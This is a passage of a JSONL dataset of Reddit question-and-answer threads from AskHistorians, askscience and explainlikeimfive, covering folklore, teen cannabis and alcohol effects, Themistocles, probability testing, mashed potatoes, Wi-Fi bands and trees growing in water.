of it is of population and population density. The bigger and more crowded a city is, the less friendly people will be, on average. \n\nFor example, I was recently in Belgium. People in Antwerp were distinctly friendlier than people in Brussels, which has twice the population and density."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1w2bye", "title": "At what point did folklore in Europe stop being 'common knowledge' and turn into 'superstition'?", "selftext": "Somewhat related to /u/lngwstksgk's question on folklore not surviving in America, at what point in time (to the closest identifiable period) did belief in such folk tales as fairies and elves turn from a commonly-believed fact into a belief that was depicted as being on the fringe of popular society?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1w2bye/at_what_point_did_folklore_in_europe_stop_being/", "answers": {"a_id": ["ceyhy9w", "ceyj36f"], "score": [3, 4], "text": ["This is a fairly broad answer, but I'll try to answer succinctly. The shortest answer is \"depends highly on where, who, and when, and also upon your definition of 'folklore'.\" I'm giving a very general (and perhaps cavalier) narrative here, which works with the understanding of \"folklore\" to mean \"traditional spiritual beliefs, often pre-Christian in origin or at least not found within the Biblical canon\". Basically, \"folklore\" fell out of favor beginning primarily in the sixteenth century, and by end of the eighteenth century was largely \"superstition\" in Western/Central Europe. \n\nThe narrative: in the medieval period, people of nearly all classes and status maintained a similar epistemology, and roughly similar \"folklore\". This epistemology gave very high value to the explanatory power of supernatural forces. Supernatural beings of strange power are imminent in the medieval (and early modern) mind, and creatures and beings of all kinds of magical features exist throughout the world. For the peasant, these creatures exist right within the boundaries of the nearest woods, and have some capability to interact with the physical world. Peasants and townsfolk alike would engage in rituals and festivals which were believed to communicate with supernatural forces.\n\nEnter the early modern period, and the Reformation. While the worldview of nearly everyone is still highly \"magical\", church officials (most strongly among Protestant churches, but also in the reforming Catholic Church) in the sixteenth century begin to excise certain non-Biblical or otherwise unsavory elements from their understanding of the spiritual world. This process is fairly innocuous and primarily urban, and proliferates among the educated classes. Towns, particularly in Reformed territories, begin to cease many of their former rituals and festivals, or at least tone down their \"folklore-ish\" elements. Men slowly become more associated with a system of knowledge more resembling what we would call \"scientific\" or empirical, although even the most successful practitioners of science are still highly invested in the supernatural world (Isaac Newton, for instance, famously wrote as much or more on alchemy and theology than \"science\"). Women, with less access to education, become more associated with traditional ways, from medicine to religious practice. Partially a side effect of this process, witch hunts begin that stop the open practice of traditional folk magic by rural people, alongside education efforts that seek to end them. As an aside, note that the gendering of science and magic to male and female, respectively, is still strongly felt throughout the West today.\n\nIt's worth noting, however, that even during this period, nearly everyone still accepted the potential power of the rituals, dances, and festivals. However, the understanding of the tenor changed for the educated: these activities consorted with Satan and demons, who tricked people into worshiping them by giving worldly favors. As a fairly inevitable result, \"folklore\" became increasingly out-of-favor (at least among the educated and the elite).", "/u/Aethelric provides an answer to this question using a historical definition of folklore as being a system of older beliefs. That is an interesting approach and is probably the answer the OP was seeking. For the record - and defending the point of view of the folklorist - I will add that folklorists would answer this simply, that folklore never stops. Every culture has oral tradition, and in general, people have beliefs that subsequent generations may regard as \"superstition\" (setting aside those who are complete atheists; i.e. those who have discarded all beliefs in everything supernatural). Folklore changes and adapts, but it does not cease to exist. I trust that I'm right - knock on wood (if you catch my meaning)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "gtc4l", "title": "\"I don't want to drink alcohol or smoke weed until I am 18/19 years old because it might change my brain chemistry irreversibly\" - Is there evidence for this opinion?", "selftext": "And for the record, yes I do hold that opinion but will gladly change my tune once i learn the truth, better safe than sorry. Admittedly I don't even know what \"brain chemistry\" could specifically refer to. Thanks.\n\nEDIT: so for what it's worth, I am currently 17 and will turn the legal age where I am, later in the year. But for me drinking is obviously one of those things where, just because you can, doesn't mean you should.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/gtc4l/i_dont_want_to_drink_alcohol_or_smoke_weed_until/", "answers": {"a_id": ["c1q7267", "c1q9208", "c1qa69l"], "score": [12, 3, 3], "text": ["Headline answer is \"Yes\" with a  \"but,\"  let's look at it a bit closer though, since there is a lot of messages out there is varied motivations behind them, and hence, a lot of bias.\n\nFirst off, brain development is what I think you are concerned about, since that is a relatively permanent consequence, brain chemistry is just the general mode of function, and it can't really be altered.  For example, you can change the performance of your car, but the basic way it operates is the same.\n\nThe [NIH](_URL_0_) funds studies of these exact things, and there is a wealth of knowledge regarding the effects observed.  From the [linked paper](_URL_0_):\n\n\"The current literature suggests that heavy drinking during adolescence does have a subtle, but significant, deleterious effects on adolescent neurocognitive functioning. \"\n\nPut simply, heavy drinking fucks your brain up.  Shocking I know.\n\nAs for weed:\n\n\" the number of lifetime marijuana use episodes was significantly related to overall poorer cognitive functioning, even after controlling for lifetime alcohol use.\"\n\nSo being a stoner does make you think slower.  \n\nThere are a bunch of freely available reviews and articles linked from that paper, if you are interested I encourage you to read up, it's actually quite fascinating.\n\nSo yes it does do damage, the \"but\" is that this damage can repair itself given time, however the damage done during adolescence is much harder to recover from.\n\nFrom a personal experience standpoint, having gone to college and hung  out with anthropology majors (academic code word for \"functional alcoholic\"), I can tell you that I have watched many people slowly wind down after getting involved with alcohol or weed, there personalities changed, and they became basically boring to talk to, often displaying paranoia (with marijuana.)  A lot of these guys I am still somewhat in touch with through friends of friends and facebook etc..., and I can tell you they never really recovered.   \n\nI used to be pretty tolerant of drug use around me, just because who cares, people have free choice, and I still believe that, however, the subjects they like to discuss has gotten quite old (how many \"Dude I was SO high\"  stories can one listen to?)   The real threat is probably more a loss of focus in your life.   If smoking or drinking becomes your reason for being, then you really are a pretty dull person.  If you have other things going on that are more important, you probably aren't a heavy user.  \n\nJust my opinion, take it or leave it.\n\n\n\n\n\n", "There is some interesting research being done on psychotic illness related to heavy marijuana use in teens.  [This](_URL_0_) was the best article I could find.  \n\nBasically, from the literature I've seen, the jury is still out, as mental illness is difficult to diagnose, much less to find the source.  There are way too many confounding factors for a true cause and effect relationship to be demonstrated.  However, why not hedge your bets, and delay any potential marijuana use until your brain is done developing, which seems to be sometime after age 21 or so.    ", "Brain development technically lasts forever ([neural plasticity](_URL_0_)), and while drugs do affect it, some drugs have stronger effects than others. The big scare is early cannabis use and schizophrenia (and, to a lesser degree, declines in cognitive functioning). I can show you heaps upon heaps of papers for either side, the jury is certainly out. The big problem (for both) is correlation and causation: it is unknown whether smokers smoke to ease their subjective symptoms, or whether they smoked and it caused schizophrenia (which is very unlikely). Most current studies seem to agree that early (13 years or so) heavy use increases the risk (slightly) for those already at risk to develop schizophrenia, as well as possibly quickening the onset of the disorder for those already likely to develop it.  \n\n[This Spanish study](_URL_3_) espouses the latter viewpoint, with the caveat that a certain gene (Val/Met or Val/Val) modulates this correlation.  \n[This article](_URL_1_) is really interesting because it looks at the contributions of a number of factors to various diseases.  \n[This one](_URL_4_) finds a decrease in cerebellar white matter for both healthy cannabis smokers and cannabis and non-cannabis using schizophrenia patients. I doubt the worth of this study, however, because of the obvious facts that the healthy smokers didn't have schizophrenia.  \n\nNow taking a different route, [this article](_URL_2_) discusses the soothing properties of cannabis on schizophrenia patients: it decreases the duration of untreated psychosis and predicts lower levels of negative symptoms.\n\n\nEDIT: I just want to point out that most effects on maturation are not necessarily irreversible, but not always the best. The opiates and amphetamines are the biggest culprits, however."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2827693/"], ["http://mbldownloads.com/0608PP_Bodkin_CME.pdf"], ["http://en.wikipedia.org/wiki/Neural_plasticity", "http://www.ncbi.nlm.nih.gov/pubmed/21439652", "http://www.ncbi.nlm.nih.gov/pubmed/21390411", "http://www.ncbi.nlm.nih.gov/pubmed/21231925", "http://www.ncbi.nlm.nih.gov/pubmed/21466751"]]}
{"q_id": "4olpli", "title": "Trying to remember a story from ancient Greece, can you help?", "selftext": "I recall from memory a story about an ancient Greek military leader that saved Athens (either from the Spartans or Persia or some other rival...  I can't recall which) through the course of a war or battle.  Immediately after the war was over, he was hailed as a hero, but over time the Athenian people grew to hate him for some reason, he lost a gov't election and was possibly executed by the people.  \n  \nDoes this story ring a bell? Can you direct me to the Greek story that I might be close to describing? My google fu has failed to uncover what I am looking for.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4olpli/trying_to_remember_a_story_from_ancient_greece/", "answers": {"a_id": ["d4dnr7k", "d4dobow"], "score": [6, 6], "text": ["I believe you are thinking of Themistocles, who commanded the Greek navy at Artemisium and Salamis during the second Persian invasion and rose to be one of the most prominent politicians. He was ostracized (exiled) from Athens in 472 or 471 BCE, and was later framed by the Spartans. \n\nHe died in exile, though his reputation was later rehabilitated. ", "This is the story of [Themistokles son of Neokles](_URL_0_). \n\nWhen the Athenians struck a large vein of silver in the silver mines at Laurion in 483 BC, Themistokles was the one who persuaded them to invest the money in their navy. When the Persians invaded 3 years later, he commanded that navy in battle against the Persian fleet. He suggested the plan that led to the Greek victory at Salamis in 480 BC. For this, he was honoured by the Athenians and others as the saviour of Greece. Even the Spartans, who were formally in command at Salamis, gave Themistokles royal honours in gratitude for his leadership.\n\nHe soon lost the respect of the Spartans, however, when he tricked them into standing idly by as the Athenians rebuilt their city walls. These walls had been torn down by the Persians, and the Spartans had ordered the Athenians not to rebuild them, which would have facilitated Spartan domination. When they discovered that Themistokles had pulled the wool over their eyes, they were furious, and began looking for ways to discredit the war hero.\n\nSoon after the war, Themistokles lost the favour of the Athenian people. It's not entirely clear why this happened; our sources tell us that he became arrogant, perhaps even narcissistic, and thereby squandered the good will of the Athenians. He was sent into exile and went to live in Argos. At this point, the Spartans seized their chance, and accused Themistokles of being involved in a corruption scandal that had already led to the disgrace and death of the Spartan regent Pausanias. Simply put, Themistokles was accused of taking bribes from the king of Persia in a plot to bring mainland Greece under Persian control. Ancient authors agree that the accusation was spurious, but Themistokles fled Argos fearing for his life, and his flight was interpreted as an admission of guilt. In his absence, the Athenians sentenced him to death for treason.\n\nAfter a series of narrow escapes from Greek communities in Western Greece and the Aegean, Themistokles finally fled to the court of the Persian king. There, he offered his services in return for royal protection. King Artaxerxes recognised an asset when he saw one, and gave Themistokles dominion over some cities in Asia Minor. He died there in 459 BC.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Themistocles"]]}
{"q_id": "6elqzr", "title": "How do i calculate probability of a probability distribution?", "selftext": "Dear people. Hear me out.\n\nI have histogram of the probability of certain values x of a random experiment. Its looks very nicely like a normal distribution. Then I have the data of an experiment that I did that tells how many times I measured value x. I would like to find out how likely it is to find that specific value distribution of given the probability distribution that I have but I can't figure out how to calculate this. in other words, I would like to figure out how likely it is that my measured distribution is random or ordered. \n\nIn analogy, I thow a dice 1000 times and I get the distribution of results. I want to figure out how likely it is that this distribution of numbers happened by random chance or not. \n\nCan you help me out? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6elqzr/how_do_i_calculate_probability_of_a_probability/", "answers": {"a_id": ["dib8uys", "dib9cc8", "diblzfz", "dibqx4v"], "score": [13, 56, 3, 3], "text": ["Since you claim your distribution looks normal, assume it is. Now try to construct a histogram of the the normal distribution parameters (mean and variance). A fairly simple way to do it would be to repeatedly resample your population with replacement (called bootstrapping, I believe). A more sophisticated method would involve creating Bayesian priors of the parameter distributions and updating them based on you samples. I don't know of a nonparametric  method, but I'm sure one exists.", "Before answering the question, consider the easier task of determining the likelihood of your distribution given you know the true underlying distribution. Once we know the probability of the outcome given the true distribution, we can begin to look at the set of distributions which could lead to the observation with some bounded probability. We will also show that this set becomes increasingly smaller for more samples, and as a result the distance between the true distribution and any distribution in that set decreases. I will be assuming a discrete probability distribution, but this should not be seen as overly restrictive as that you are considering histograms after all.\n\n\nBeginning, denote by Q the true underlying distribution, and denote by P the empirical distribution after observing n-independent samples. Writing t(P) to denote the set of all possibilities which lead to an empirical distribution of P, we have\n\n| -n^(-1) log Q(t(P)) - D(P||Q) + (|X|-1)(2n)^(-1) log(2\u03c0n) + (2n)^(-1) log \u03a0P |  <  (|X|+1) log( 1 + (12n)^(-1) )\n\nwhere D(P||Q) is the [KL divergence](_URL_2_) of P to Q, |X| is the alphabet size of X, and \u03a0 is the product of the probabilities of the distribution of P (for instance equal heads and tails would result in .25).  Indeed this formula comes first from observing that the probability of any sequence with empirical distribution P has probability exp(-n ( H(P) + D(P||Q))ln 2 ) and then summing over all possible values which result in that empirical distribution. The bounds occur by use of [Stirling's approximation](_URL_0_) in estimating those quantities. \n\nNote that from the formula, n^(-1) log Q(t(P)) converges to D(P||Q), or in other words Q(t(P)) converges to exp( -n D(P||Q) ln 2 ), which is actually fantastic for your purposes. Indeed one can interpret D(P||Q) as a distance (which strictly speaking it is not, since D(P||Q) does not equal D(Q||P) ), between P and Q. Thus, intuitively, the probability of P occurring given Q is exp( -n (distance between P and Q) ). In fact, for the remainder of this discussion I am going to equate Q(t(P)) with exp( -n D(P||Q) ln 2) for simplicity, obviously those extra terms would have to be added back in for a more detailed analysis.\n\nNow we move to the situation where we do not know Q, and instead just know P. Take the set of Q which could result in P with probability greater than n^(-a). Using our formula we see that D(P||Q)  <  a' n^(-1) log(n) for all such Q. In essence, we have now bounded the \"distance\" between P and Q, based upon the number of samples of samples. \n\nFrom that bound, we also have\nd(P,Q)  <  a'' \u221a( n^(-1) log n ),\nwhere d is the L1 distance between distributions, which follows by a simple application of [Pinsker's inequality](_URL_1_). \n\n", "**TL;DR Theoretically, you *could* compute a posterior probability of \"randomness\" or \"normality\" via [Bayes Rule](_URL_1_). Don't do that. Do. Not. Do. That. It would involve a highly artificial specification of a hypothesis space whose implications no one would really understand, and the results will be worse than meaningless.**\n\n**Instead, assess the plausibility of randomness or normality or get statistical bounds on the error in those assumptions. Which one you should do depends on the nature of your problem and the amount of data you've got.**\n\n-----------------------------------------\n\n**Preliminaries**\n\n >  Can you help me out?\n\nYes. But you may not like the form that help takes.\n\n >  Its looks very nicely like a normal distribution.\n\nMost stuff does. Look up the [central limit theorem](_URL_3_) sometime.\n\n >  I would like to figure out how likely it is that my measured distribution is random or ordered.\n\nRandom vs. ordered is different from normal vs. non-normal. Try to get clear on what you're asking.\n\n >  In analogy, I thow a dice 1000 times and I get the distribution of results. I want to figure out how likely it is that this distribution of numbers happened by random chance or not.\n\nThis is not quite the apt analogy that you may think it is. And we can discuss that further in comments; let's focus on your actual problem for now. \n\n---------------------\n\n**What is randomness?** \n\nFor your data to be random, it means that successive realizations are stochastically independent of each other, that is  f(x_{k+1}|x_{k}) = f(x_{k+1}). That is something you can test for ... with caveats. More on that below.\n\n**What is normality?**\n\nEven if your data are random, that doesn't necessarily mean they have a [normal distribution](_URL_0_). (And vice versa, really.) Thanks to the central limit theorem, a lot of stuff has a near-normal distribution, but that is not the same as having an exactly normal distribution. \n\nFor example, if you take the sum of a bunch of bounded uniform random variables, that sum will have an approximately normal distribution. However, that sum will also have finite tails, which the normal distribution does not.\n\n----------------------\n\n**Why you can't get a probability of \"randomness\" or normality.**\n\nWhen you ask a question about randomness or distribution shape, you are making an inquiry in an uncountably, perhaps indescribably, infinite space of hypotheses about ways in which the data could have been generated.\n\nEven allowing for the specification of subjective probabilities, in principle, you need to be able to bound that hypothesis space in some sensible manner. Theoretically, you could artificially limit the space of hypothetical data generation sources that you consider, but as someone who does this for a living, I highly advise against that. You'd be making a blind (and, really, pointless) modeling choice that has consequences that no one is really going to understand. \n\nThe posterior probabilities that you get on those hypotheses will be as much a function of how you artificially reduced the hypothesis space as the are of the actual data themselves. *Just don't do it.*\n\n--------------------------------\n\n**What you can do instead ...**\n\nThere are two epistemologically sensible paths that you can take, instead of trying to get a meaningless probability distribution in an ill-posed hypothesis space:\n\n(1) You can assess the *plausibility* of normality and/or randomness via a significance test.\n\n(2) You can statistically bound the *error* in a normality and/or randomness hypothesis. \n\nPath (1) is the traditional path in statistics. There are significance tests for normality. There are significance tests for independence. Use one. Or two. It'll give you a p-value for the hypothesis that your data are normal ... or independent ... or w/e. \n\nThat p-value is not a probability, it is a **plausibility**. If it is low, that means that you have (provisionally) disproven the hypothesis. If it is high, however, that merely means you haven't disproven the hypothesis. It does not mean you've proven it. Just remember: the *p* in *p-value* stands for *plausibility*.\n\nNow .... here is a potential problem with Path \\#1. Your data might be *really* close to normal or *really* close to random. So close that, practically speaking, it's a distinction without a difference. Nevertheless, if you throw enough data at your hypothesis and use the right test, you will prove it false. Why? B/c all hypotheses are false, the question is *how* false. \n\nThat's why some people, specifically people in my field, engineering V & V & UQ, take a different path. We measure how close we are to our assumptions. For example, to measure the error in the randomness assumption, you might choose to get a confidence interval on the the [pearson correlation](_URL_2_) between x_{k+1} and x_{k}. If the Pearson correlation were exactly zero, then you could take that (with caveats) as an indicator that your data are random. It's not perfect, but it's a practical stand-in. However, you won't ever be able to prove that your Pearson correlation is exactly zero; instead you'll get a confidence interval that is hopefully tight near or around zero. \n\nAlso, you do want to look at your raw data. Just look at x_{k+1} vs. x_{k}. On a plot of those points. Do they look random?\n\nSimilarly, if you look at a plot of your data vs a fitted normal distribution, do they look close enough for modeling purposes? If so, fuck it. Just roll with that assumption, and be aware that it has imperfections.\n\nAnyway, I hope this has been informative. Good luck. And don't let some fucking armchair Bayesian suck you in with a bunch of non-sense probability calculations. It won't take you anywhere useful. Just let that go. You're not going to get a useful probability of randomness or normality or any modeling assumption. I understand why you want it, but we have roughly 400 years of epistomelogical experience telling us that you really can't have it. ", "Use a Z test against the probability histogram. You know the population mean and standard deviation and the sample mean and standard deviation. From there you can calculate the probability of your sample occurring in the population. For example, you have a population with a mean of 0 and a standard deviation of 1 that is normally distributed. You take a sample of size 1 ( the equation changes depending on how many samples you take but we'll use 1 for simplicity) and get a value of -1. We know that ~67% of results will fall within one standard deviation of the mean, leaving 33% that would be outside of 1 standard deviation with half falling above 1 standard deviation above the mean and half falling below one standard deviation below the mean. Essentially, the probability of getting a mean below -1 or above 1 is 33%. In order to find the probability of getting a result at or below -1 (ex -2,-3 etc) we take 33/2=16.5%. That is, the probability that a sample of size 1 taken from the population has a value of -1 or below is 16.5%. This is obviously a really simple example to Illustrate the point and real samples of larger sizes are obviously more complex but I hope this is sufficient to answer your question. Feel free to respond with any other things you feel are unclear or any other questions you might have and I'll try my best to answer them. \n\nEdit: one more point, because probability distributions involve using integrals, the probability of getting an exact value is 0, which is why we use ranges rather than specific values when calculating probability."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Stirling%27s_approximation", "https://en.wikipedia.org/wiki/Pinsker%27s_inequality", "https://en.wikipedia.org/wiki/Kullback%E2%80%93Leibler_divergence"], ["https://en.wikipedia.org/wiki/Normal_distribution", "https://en.wikipedia.org/wiki/Bayes%27_theorem", "https://en.wikipedia.org/wiki/Pearson_correlation_coefficient", "https://en.wikipedia.org/wiki/Central_limit_theorem"], []]}
{"q_id": "56wd6c", "title": "why does putting potatoes in a blender make them so gummy, while doing it by hand or even with an egg beater doesn't?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/56wd6c/eli5_why_does_putting_potatoes_in_a_blender_make/", "answers": {"a_id": ["d8mx8ng"], "score": [32], "text": [" > Pureeing your potatoes in a blender or food processor seems like a good idea at first. After all, we puree lots of things in the blender and they turn out smooth and perfect. But lift off the lid this time, and instead of creamy fluffy potatoes, you'll see a thick gluey mess.\n\n > The problem is starch. And potatoes contain a lot of starch!\n\n > **Mashing cooked potatoes gently by hand or with a ricer leaves most of the starch molecules intact. The butter and dairy you add to the mashed potatoes are able to coat each individual particle, making the potatoes creamy.**\n\n > **But the quick-moving blades of a food processor will actually tear the starch molecules. The released starch mixes with the liquid in the cooked potatoes, and the mash transforms into a gummy paste before your eyes. Highly unappetizing.**\n\n > This can happen in a matter of minutes, so don't even be tempted to use a food processor to get the last few lumps out of your potatoes!\n\nTaken from _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["thekitchn.com"]]}
{"q_id": "cr55vv", "title": "- the 2.4 and 5ghz channels on my modem/router.", "selftext": "What\u2019s the purpose to have two channels to connect devices to?  Is one more for phones/tablets and the other for PC/consoles?  Does it matter?   Should I split connected devices evenly or just overload everything onto one?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cr55vv/elif_the_24_and_5ghz_channels_on_my_modemrouter/", "answers": {"a_id": ["ex1um8p", "ex1ums8", "ex1vg16", "ex1vo9q", "ex1zkiu", "ex36tc4"], "score": [8, 4, 2, 2, 3, 2], "text": ["A dual band router (one that can run on both 2.4 and 5Ghz) is beneficial for a couple of reasons. Your device is less likely to be affected by interference from other sources of radio waves as it can switch between frequencies. The second is that 2.4Ghz has a lower bandwidth (meaning less data transferred over X amount of time) but its range is greater. 5Ghz is the opposite of this. It delivers info faster but its range is shorter because of the higher frequency.", "2.4 has a greater range. However for most people that extended range is negligible.\n\n5ghz however has a wider array of channels and would allow you to better setup your wireless network in a crowded area. It also has a higher bandwidth.\n\nSo what does that second bit mean? Well, each of these signals have various channels (like in the old days with over the air tv). Your wireless access point can broadcast on these channels. However everyone else\u2019s wireless access point can also broadcast on those same channels. This can cause your connection to get scrambled up in all the waves jumping around in the air and result in a weak signal. By selecting a channel \u201cisolated\u201d* from others, you can get a clearer signal.\n\n\n*to clarify this. If everyone broadcasts on channels 2, 3, and 4, channels 1 and 5 (or more) will still be impacted slightly. Channel 10 is far from that though.", "There are a few reasons:\n\n5GHz is faster - however 2.4GHz is probably faster than your Internet connection anyway. If you like to send files over the network directly between computers you can see a massive improvement. If you have a fast Internet connection (over 100Mbps) you *might* notice an improvement.\n\n2.4GHz has a longer range - lower frequencies get blocked less by walls and obstacles so often give you better signal throughout your home. Depending on the construction of your home this may or may not be a big deal. \n\n2.4GHz is super congested - if you live in an apartment block or big city, there can be so many 2.4GHz networks that serious congestion occurs which massively reduces speed. 2.4GHz is free for anyone to use and was there first, so all sorts of things like baby monitors and thermostats use the frequency alongside WiFi. 5GHz has been more recently adopted so is less popular, although this is rapidly changing, however for many people in built up areas it works better. The fact that 5GHz gets blocked more by walls is actually an advantage in populated areas because you get less interference. \n\nIn all honesty unless you have a problem, or a specific use case, it doesn't really matter. Personally I connect almost everything to 2.4GHz because the range is slightly better. I then leave 5GHz dedicated to steam-streaming between my pc and tablet since this is super sensitive to network performance/congestion.", "Use 5Ghz where possible, 2.4 is older, slower and prone to more interference from all sorts of random crap like microwaves and cordless phones.", "All the other explanations are good, 2.4GHz longer range, less bandwidth, but can congested even if your nearest  neighbor is 5 miles away. There are a lot of devices that use this frequency like:baby monitors, cordless phones, car alarm movement sensors, mics, wireless controlled lights(ZigBee), poorly shielded microwaves, and the big killer wireless video cameras that can kill 1/2 the 2.4Ghz band.\n\nWhat the others do not mention is the newest WiFi protocols can use all the bands between 1 and 7GHz including 2.4 ang 5 GHz. This allows for longer range with the lower frequencies and higher bandwidth with higher frequencies. Combine them all and there is 11 Gbps possible with much less latencies(1/4 of 802.11ac). There are a lot of tricks used to increase the bandwidth like using not just the direct signal, but at the higher bands using the signals that bounce off walls and other paths that are not direct", "2.4GHz waves are very wide (less frequent). means they can go farther, like through all those walls in your house, but less frequent waves means less frequent data (slower transfer rate).\n\n5.0GHz waves are much closer together (more frequent). means they get caught up in walls easier, so they can't go as far in your house. But the waves are so frequent they can get more data sent in the same amount of time (faster transfer rate)\n\n2.4 for range, 5.0 for speed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "ke8l8", "title": "Why don't trees grow in shallow fresh-water lakes or streams?", "selftext": "It seems like a no-brainer; unlimited access to water and zero competition for sunlight (because no other tree are growing there and blocking the sun).\n\nIs the answer just \"evolution hasn't taken that route yet\"? Or or there something I can't think of permanently blocking plants/trees from growing out of a lake?\n\nEdit: It seems some trees in [areas of the southern hemisphere near the oceans](_URL_0_) do do that a bit, but why not on the inside of continents or in the north? Maybe frozen water immediately kills trees that try that?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ke8l8/why_dont_trees_grow_in_shallow_freshwater_lakes/", "answers": {"a_id": ["c2jjzzm", "c2jkh7z", "c2jlb5n", "c2jm64i", "c2jnyua", "c2johf0", "c2jrbe0", "c2jjzzm", "c2jkh7z", "c2jlb5n", "c2jm64i", "c2jnyua", "c2johf0", "c2jrbe0"], "score": [3, 12, 19, 6, 3, 5, 2, 3, 12, 19, 6, 3, 5, 2], "text": ["Sycamore trees can do it. I am not sure if they start out in water but water can envelop them as a shoreline changes.", "[mangroove](_URL_0_) trees are also present. and they are abundant in most parts of the philippines", "A number of reasons:\n\n- The seed has to get to the bottom soil. Seeds often float.\n- Water movement (waves, currents, tides) makes it difficult to take root and can batter those plants which do.\n- The sediment isn't necessarily suitable soil, lacking the necessary nutrients, ph, and so on.\n- Many trees have roots that require respiration (one of the top reasons why trees grow so poorly in urban environments).\n- Water temperature may be either too cold or too hot to foster growth.\n- Depending on depth, there may be insufficient light to foster growth. Sediment, erosion, suspended particles, jetsam, and other pollutants can further aggravate conditions.\n- Aquatic life may feed on or otherwise utilized foliage.", "Trees can obtain oxygen from their root systems, and that wouldn't work as effectively. This is why some trees do so poorly in compacted soil environments, there isn't enough aeration to the roots. [link](_URL_0_)\n\nAnother poster mentioned mangrove trees. Those plants have special root systems (pnuematophores) that actually come up out of the water so they can get to oxygen and get out of the murky, stagnant water that they're sometimes found in. These trees also have to have special adaptations to get rid of the salt. They are found in tropical climates, both northern and southern hemispheres.\n\nCypress trees are often found in depressed areas where water does or has gathered in the past. \n\nIn terms of your question about colder climates and trees in water, consider why we haven't been able to freeze a person and bring them back to life. Or what happens when there's a sudden freeze and trees start -exploding-.  All cells have water in them, and when that freezes, the ice crystals rupture the cell wall. This effectively kills the cell. This is also why when I freeze down a bacterial culture I protect it in glycerol, not a water based liquid.  So, it would not be beneficial for a tree to be so immersed in shallow water that is prone to freezing.", "_URL_1_\n\nNot always freshwater, but: \n\n_URL_0_\n\nWhich grow all throughout the tropics and subtropics.", "Gas exchange under water is 10,000 times slower than in air.  Trees that do grow in water have a special tissue called aerenchema that facilitates gas exchange.", "It's actually pretty common for trees to grow in areas of shallow, still water.  Mangroves (in salt areas) and Cypress (in fresh) are two good examples.  Trees don't seem to grow in deep water..I can't prove it but I would hazard a guess that it is difficult for tree seedlings to get started underwater.  They would have to grow a woody stem up to the surface, which is bound to require a lot of energy and carbon from the plant--and while underwater there is usually less light, and carbon dioxide can be more difficult to obtain for a plant (particularly one adapted to getting it from the air).  It is much easier to explain why trees don't grow in streams or rivers--they are violent places!  You don't notice this because people usually only hang out around water when the weather is nice.  But several times a year most streams flood, and everything from large branches to boulders comes washing down them.  This isn't counting the pressure of the water itself.  No tree can stand up to that without breaking.  But the grassy things just bend with the flow, and if they loose their leaves, those are relatively easy to grow back.  Mangroves aren't found in the north and south because they can't handle freezes.  I don't know why this is, but I will say that the plants which occupy the same habitat (saltmarsh grasses) die back to the roots every winter.  Trees clearly can't do this.", "Sycamore trees can do it. I am not sure if they start out in water but water can envelop them as a shoreline changes.", "[mangroove](_URL_0_) trees are also present. and they are abundant in most parts of the philippines", "A number of reasons:\n\n- The seed has to get to the bottom soil. Seeds often float.\n- Water movement (waves, currents, tides) makes it difficult to take root and can batter those plants which do.\n- The sediment isn't necessarily suitable soil, lacking the necessary nutrients, ph, and so on.\n- Many trees have roots that require respiration (one of the top reasons why trees grow so poorly in urban environments).\n- Water temperature may be either too cold or too hot to foster growth.\n- Depending on depth, there may be insufficient light to foster growth. Sediment, erosion, suspended particles, jetsam, and other pollutants can further aggravate conditions.\n- Aquatic life may feed on or otherwise utilized foliage.", "Trees can obtain oxygen from their root systems, and that wouldn't work as effectively. This is why some trees do so poorly in compacted soil environments, there isn't enough aeration to the roots. [link](_URL_0_)\n\nAnother poster mentioned mangrove trees. Those plants have special root systems (pnuematophores) that actually come up out of the water so they can get to oxygen and get out of the murky, stagnant water that they're sometimes found in. These trees also have to have special adaptations to get rid of the salt. They are found in tropical climates, both northern and southern hemispheres.\n\nCypress trees are often found in depressed areas where water does or has gathered in the past. \n\nIn terms of your question about colder climates and trees in water, consider why we haven't been able to freeze a person and bring them back to life. Or what happens when there's a sudden freeze and trees start -exploding-.  All cells have water in them, and when that freezes, the ice crystals rupture the cell wall. This effectively kills the cell. This is also why when I freeze down a bacterial culture I protect it in glycerol, not a water based liquid.  So, it would not be beneficial for a tree to be so immersed in shallow water that is prone to freezing.", "_URL_1_\n\nNot always freshwater, but: \n\n_URL_0_\n\nWhich grow all throughout the tropics and subtropics.", "Gas exchange under water is 10,000 times slower than in air.  Trees that do grow in water have a special tissue called aerenchema that facilitates gas exchange.", "It's actually pretty common for trees to grow in areas of shallow, still water.  Mangroves (in salt areas) and Cypress (in fresh) are two good examples.  Trees don't seem to grow in deep water..I can't prove it but I would hazard a guess that it is difficult for tree seedlings to get started underwater.  They would have to grow a woody stem up to the surface, which is bound to require a lot of energy and carbon from the plant--and while underwater there is usually less light, and carbon dioxide can be more difficult to obtain for a plant (particularly one adapted to getting it from the air).  It is much easier to explain why trees don't grow in streams or rivers--they are violent places!  You don't notice this because people usually only hang out around water when the weather is nice.  But several times a year most streams flood, and everything from large branches to boulders comes washing down them.  This isn't counting the pressure of the water itself.  No tree can stand up to that without breaking.  But the grassy things just bend with the flow, and if they loose their leaves, those are relatively easy to grow back.  Mangroves aren't found in the north and south because they can't handle freezes.  I don't know why this is, but I will say that the plants which occupy the same habitat (saltmarsh grasses) die back to the roots every winter.  Trees clearly can't do this."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/File:World_map_mangrove_distribution.png"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Mangrove"], [], 